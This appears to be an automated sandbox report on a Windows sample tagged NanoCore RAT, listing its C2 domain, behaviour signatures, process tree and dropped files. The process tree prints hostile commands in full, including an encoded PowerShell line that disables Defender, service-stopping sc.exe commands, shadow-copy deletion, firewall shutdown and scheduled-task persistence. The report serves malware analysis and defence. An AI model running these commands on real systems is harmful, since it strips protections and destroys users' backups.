Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/08/2026, 01:33

General

  • Target
    spec-ops.io_chrome.exe
  • Size 57KB
  • Sample260827-byjdjaydpc
  • SHA256 2407bb7ab57774e530bf42ba758b0c7339be79b88cd06ce1c2ecfff3410fd9b4
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://spec-ops.io

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://spec-ops.io

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\spec-ops.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\spec-ops.io_chrome.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5072
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1148
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:1936
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4984
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:712
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:3604
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:924
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:4884
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:4868
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:2096
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5844
      • C:\Users\Admin\AppData\Local\Temp\spec-ops.io_chrome.exe
        "C:\Users\Admin\AppData\Local\Temp\spec-ops.io_chrome.exe"
        3⤵
          PID:4924
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:2344
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:1808
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:2972
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1552
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:4120
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\spec-ops.io_chrome.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1052
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\spec-ops.io_chrome.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:200
      • C:\Windows\System32\notepad.exe
        "C:\Windows\System32\notepad.exe"
        2⤵
          PID:924
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:6108
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:5580
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3936
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5060
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:4736
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:892
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Discovers running processes
            PID:1944
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2488
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
              PID:4948
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4556
            • C:\Windows\system32\net.exe
              net user
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3096
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user
                4⤵
                  PID:6020
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:1564
              • C:\Windows\system32\ipconfig.exe
                ipconfig /all
                3⤵
                • Gathers network information
                PID:3744
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2524
              • C:\Windows\system32\NETSTAT.EXE
                netstat -an
                3⤵
                • Gathers network information
                PID:1068
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\spec-ops.io_chrome.exe" /sc daily /f
              2⤵
              • Scheduled Task/Job: Scheduled Task
              PID:3552
            • C:\Windows\System32\wscript.exe
              "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
              2⤵
              • Executes a VBScript file via the Windows Script Host.
              PID:1608
            • C:\Windows\System32\vssadmin.exe
              "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
              2⤵
              • Interacts with shadow copies
              PID:1156
            • C:\Windows\System32\wbem\WMIC.exe
              "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:6000
            • C:\Windows\System32\net.exe
              "C:\Windows\System32\net.exe" stop srservice
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4908
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop srservice
                3⤵
                  PID:2600
              • C:\Windows\System32\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                2⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:5756
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                2⤵
                • Launches sc.exe
                PID:5564
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" stop i8042prt
                2⤵
                • Launches sc.exe
                PID:708
            • C:\Windows\system32\vssvc.exe
              C:\Windows\system32\vssvc.exe
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4596
            • C:\Users\Admin\AppData\Local\Temp\spec-ops.io_chrome.exe
              C:\Users\Admin\AppData\Local\Temp\spec-ops.io_chrome.exe
              1⤵
                PID:2344
              • C:\Users\Admin\AppData\Local\Temp\spec-ops.io_chrome.exe
                C:\Users\Admin\AppData\Local\Temp\spec-ops.io_chrome.exe
                1⤵
                  PID:1444
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k GPSvcGroup
                  1⤵
                    PID:1148

                  Network

                        MITRE ATT&CK Enterprise v16

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                        Downloads

                        scr_20260827_023503.jpg

                        • Path C:\ProgramData\SysUpdate\Scr\scr_20260827_023503.jpg
                        • Size 115KB
                        • SHA256 80531e34cde72304ee1951701e822e33e7e7f86e21702fe7cf9427b73976424e
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        invoice_1.pdf

                        • Path C:\ProgramData\invoice_1.pdf
                        • Size 76KB
                        • SHA256 d548dcd630c0c90ed82e4fb56c03ba8f0248a7e093ca1b9d15d3a4b1b5aa40bf
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        doc_3.pdf

                        • Path C:\SystemVolumeInformation\doc_3.pdf
                        • Size 76KB
                        • SHA256 912e6c9617ec36b6f1f77e05efed01c3062d410e0384b2c670571137ba4d2d33
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        createshortcut.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                        • Size 243B
                        • SHA256 b5a8840bce7abd77d8fc686fb30752acb00a7a208084bba445cbc2a42294699c
                        • MD5 SHA1 SHA512 TLSH

                        del.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                        • Size 59B
                        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                        • MD5 SHA1 SHA512 TLSH

                        makelnk.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                        • Size 244B
                        • SHA256 a53d91e281d5faf043e759ff3fe1d2f134d0a33e7548c3d1f21c5d8f04f65a03
                        • MD5 SHA1 SHA512 TLSH

                        temp_steal.log

                        • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                        • Size 154KB
                        • SHA256 636ab9a1460c6ef877c8fa95b5f9506902fc45f3c360f09da277c9c8cfe61797
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        stolen_data_here.txt

                        • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                        • Size 154KB
                        • SHA256 63482dbb9c535915970564017096b2db4b9f8d8f5ef185aba5a5cbdd29441c54
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/924-2266-0x000001EAC2D10000-0x000001EAC2D11000-memory.dmp

                        memory/1148-31-0x00007FF9D1D00000-0x00007FF9D26A4000-memory.dmp

                        memory/1148-25-0x000001DF22840000-0x000001DF228F2000-memory.dmp

                        memory/1148-15-0x00007FF9D1D00000-0x00007FF9D26A4000-memory.dmp

                        memory/1148-16-0x00007FF9D1D00000-0x00007FF9D26A4000-memory.dmp

                        memory/1148-17-0x00007FF9D1D00000-0x00007FF9D26A4000-memory.dmp

                        memory/1148-20-0x00007FF9D1D00000-0x00007FF9D26A4000-memory.dmp

                        memory/1148-19-0x00007FF9D1D00000-0x00007FF9D26A4000-memory.dmp

                        memory/1148-21-0x00007FF9D1D00000-0x00007FF9D26A4000-memory.dmp

                        memory/1148-24-0x000001DF22820000-0x000001DF2283E000-memory.dmp

                        memory/1148-26-0x00007FF9D1D00000-0x00007FF9D26A4000-memory.dmp

                        memory/1148-29-0x00007FF9D1D00000-0x00007FF9D26A4000-memory.dmp

                        memory/1148-2317-0x00000271F8460000-0x00000271F85A9000-memory.dmp

                        memory/1148-2286-0x00000271F8460000-0x00000271F85A9000-memory.dmp

                        memory/1148-33-0x00007FF9D1D00000-0x00007FF9D26A4000-memory.dmp

                        memory/1148-2233-0x00007FF9D1D00000-0x00007FF9D26A4000-memory.dmp

                        memory/1148-30-0x00007FF9D1D00000-0x00007FF9D26A4000-memory.dmp

                        memory/1148-28-0x00007FF9D1D00000-0x00007FF9D26A4000-memory.dmp

                        memory/1148-14-0x00007FF9D1D00000-0x00007FF9D26A4000-memory.dmp

                        memory/1148-130-0x000001DF223D0000-0x000001DF223DA000-memory.dmp

                        memory/1148-12-0x000001DF223F0000-0x000001DF22412000-memory.dmp

                        memory/5072-2281-0x00007FF9D1D00000-0x00007FF9D26A4000-memory.dmp

                        memory/5072-13-0x00007FF9D1D00000-0x00007FF9D26A4000-memory.dmp

                        memory/5072-6-0x00007FF9D1D00000-0x00007FF9D26A4000-memory.dmp

                        memory/5072-5-0x00007FF9D1D00000-0x00007FF9D26A4000-memory.dmp

                        memory/5072-4-0x00007FF9D1D00000-0x00007FF9D26A4000-memory.dmp

                        memory/5072-2278-0x00007FF9D1D00000-0x00007FF9D26A4000-memory.dmp

                        memory/5072-9-0x00007FF9D1D00000-0x00007FF9D26A4000-memory.dmp

                        memory/5072-2282-0x00007FF9D1D00000-0x00007FF9D26A4000-memory.dmp

                        memory/5072-32-0x00007FF9D1D00000-0x00007FF9D26A4000-memory.dmp

                        memory/5072-3-0x00007FF9D1D00000-0x00007FF9D26A4000-memory.dmp

                        memory/5072-2-0x00007FF9D1D00000-0x00007FF9D26A4000-memory.dmp

                        memory/5072-1-0x0000000000350000-0x0000000000364000-memory.dmp

                        memory/5072-0-0x00007FF9D1E8F000-0x00007FF9D1E90000-memory.dmp